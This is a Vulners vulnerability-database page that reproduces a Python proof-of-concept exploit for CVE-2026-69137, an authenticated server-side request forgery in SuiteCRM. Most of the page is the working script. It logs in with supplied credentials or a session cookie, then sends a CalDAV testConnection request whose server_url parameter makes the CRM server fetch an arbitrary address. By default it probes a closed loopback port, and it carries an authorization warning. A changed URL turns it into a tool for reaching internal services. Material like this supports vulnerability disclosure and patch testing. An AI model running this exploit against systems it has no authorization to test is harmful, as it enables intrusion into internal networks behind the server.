SuiteCRM 8.10.1 - Authenticated SSRF
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
| Exploit for CVE-2026-69137 | 28 Sep 202616:33 | – | githubexploit | |
| CVE-2026-69137 | 28 Sep 202617:05 | – | circl | |
| CVE-2026-69137 | 28 Sep 202617:05 | – | cve | |
| PT-2026-104587 | 3 Oct 202600:00 | – | ptsecurity |
# Exploit Title: SuiteCRM 8.10.1 - Authenticated SSRF
# Exploit Author: Max Gabriel (https://github.com/EntroVyx)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/SuiteCRM/SuiteCRM
# Version: <= 7.15.1, <= 8.10.1
# Tested on: SuiteCRM 7.15.1, Apache 2.4, PHP 8.1, MariaDB 10.6
# CVE: CVE-2026-69137
# Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
#
# Usage:
# python CVE-2026-69137.py -u https://suitecrm.example -U user -P password
# python CVE-2026-69137.py -u https://suitecrm.example --cookie 'PHPSESSID=value' \
# --server-url http://127.0.0.1:8080/
#
# The default destination is 127.0.0.1:1. It is a closed loopback port probe that
# demonstrates the vulnerable server-side request path without requesting a service.
# Use --server-url only on systems and destinations you are authorized to test.
"""
import argparse
import http.cookiejar
import json
import ssl
import sys
from typing import Optional
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode, urljoin, urlparse
from urllib.request import HTTPCookieProcessor, Request, build_opener
DEFAULT_SERVER_URL = "http://127.0.0.1:1/"
USER_AGENT = "CVE-2026-69137-POC/1.0"
def base_url(value: str) -> str:
"""Validate and normalize the SuiteCRM base URL."""
parsed = urlparse(value)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise argparse.ArgumentTypeError("target URL must include http(s):// and a host")
return value.rstrip("/") + "/"
def response_body(response) -> tuple[int, str, str]:
"""Return status, content type, and a decoded response body."""
status = getattr(response, "status", response.getcode())
content_type = response.headers.get("Content-Type", "")
raw = response.read()
charset = response.headers.get_content_charset() or "utf-8"
return status, content_type, raw.decode(charset, errors="replace")
def make_opener(insecure: bool):
jar = http.cookiejar.CookieJar()
handlers = [HTTPCookieProcessor(jar)]
if insecure:
handlers.append(ssl.HTTPSHandler(context=ssl._create_unverified_context()))
return build_opener(*handlers)
def post(opener, endpoint: str, values: dict[str, str], cookie: Optional[str], timeout: int):
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": USER_AGENT,
}
if cookie:
headers["Cookie"] = cookie
request = Request(
endpoint,
data=urlencode(values).encode("utf-8"),
headers=headers,
method="POST",
)
return opener.open(request, timeout=timeout)
def login(opener, endpoint: str, username: str, password: str, timeout: int) -> None:
"""Create a SuiteCRM legacy session using the normal Users/Authenticate action."""
values = {
"module": "Users",
"action": "Authenticate",
"user_name": username,
"username_password": password,
}
try:
response = post(opener, endpoint, values, None, timeout)
response.read()
except (HTTPError, URLError) as error:
raise RuntimeError(f"login request failed: {error}") from error
def parse_result(status: int, content_type: str, body: str) -> int:
"""Print a concise result and return a process exit code."""
try:
payload = json.loads(body)
except json.JSONDecodeError:
print("[-] The endpoint did not return JSON. Authentication may have failed.")
print(f" HTTP {status}; Content-Type: {content_type or 'unknown'}")
return 2
message = str(payload.get("message", ""))
data = payload.get("data") if isinstance(payload.get("data"), dict) else {}
error_code = payload.get("error_code", "")
if error_code == "INVALID_ARGUMENT" and "not allowed" in message.lower():
print("[+] Target rejected the supplied URL; the SSRF fix appears to be present.")
return 0
if error_code == "CONNECTION_TEST_FAILED" or data.get("success") is True:
print("[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.")
if message:
print(f" Server message: {message}")
if data.get("success") is True:
print(" The supplied endpoint returned a successful CalDAV response.")
return 1
print("[?] The endpoint returned an unexpected JSON response.")
print(json.dumps(payload, indent=2, ensure_ascii=False))
return 3
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated proof of concept for SuiteCRM CVE-2026-69137."
)
parser.add_argument("-u", "--url", required=True, type=base_url, help="SuiteCRM base URL")
auth = parser.add_mutually_exclusive_group(required=True)
auth.add_argument("--cookie", help="authenticated SuiteCRM Cookie header value")
auth.add_argument("-U", "--username", help="SuiteCRM username")
parser.add_argument("-P", "--password", help="SuiteCRM password; required with --username")
parser.add_argument(
"--server-url",
default=DEFAULT_SERVER_URL,
help=f"URL fetched by SuiteCRM (default: {DEFAULT_SERVER_URL})",
)
parser.add_argument("--timeout", type=int, default=35, help="HTTP timeout in seconds (default: 35)")
parser.add_argument("-k", "--insecure", action="store_true", help="do not verify target TLS certificate")
args = parser.parse_args()
if args.username and not args.password:
parser.error("--password is required when --username is used")
if args.timeout <= 0:
parser.error("--timeout must be greater than zero")
endpoint = urljoin(args.url, "index.php")
opener = make_opener(args.insecure)
try:
if args.username:
print("[*] Authenticating with SuiteCRM legacy login...")
login(opener, endpoint, args.username, args.password, args.timeout)
print(f"[*] Sending testConnection request with server_url={args.server_url}")
values = {
"module": "CalendarAccount",
"action": "testConnection",
"source": "caldav_basic",
"username": "probe",
"password": "probe",
"server_url": args.server_url,
}
response = post(opener, endpoint, values, args.cookie, args.timeout)
status, content_type, body = response_body(response)
except HTTPError as error:
status, content_type, body = response_body(error)
except (URLError, OSError) as error:
print(f"[-] Request failed: {error}")
return 2
return parse_result(status, content_type, body)
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Oct 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8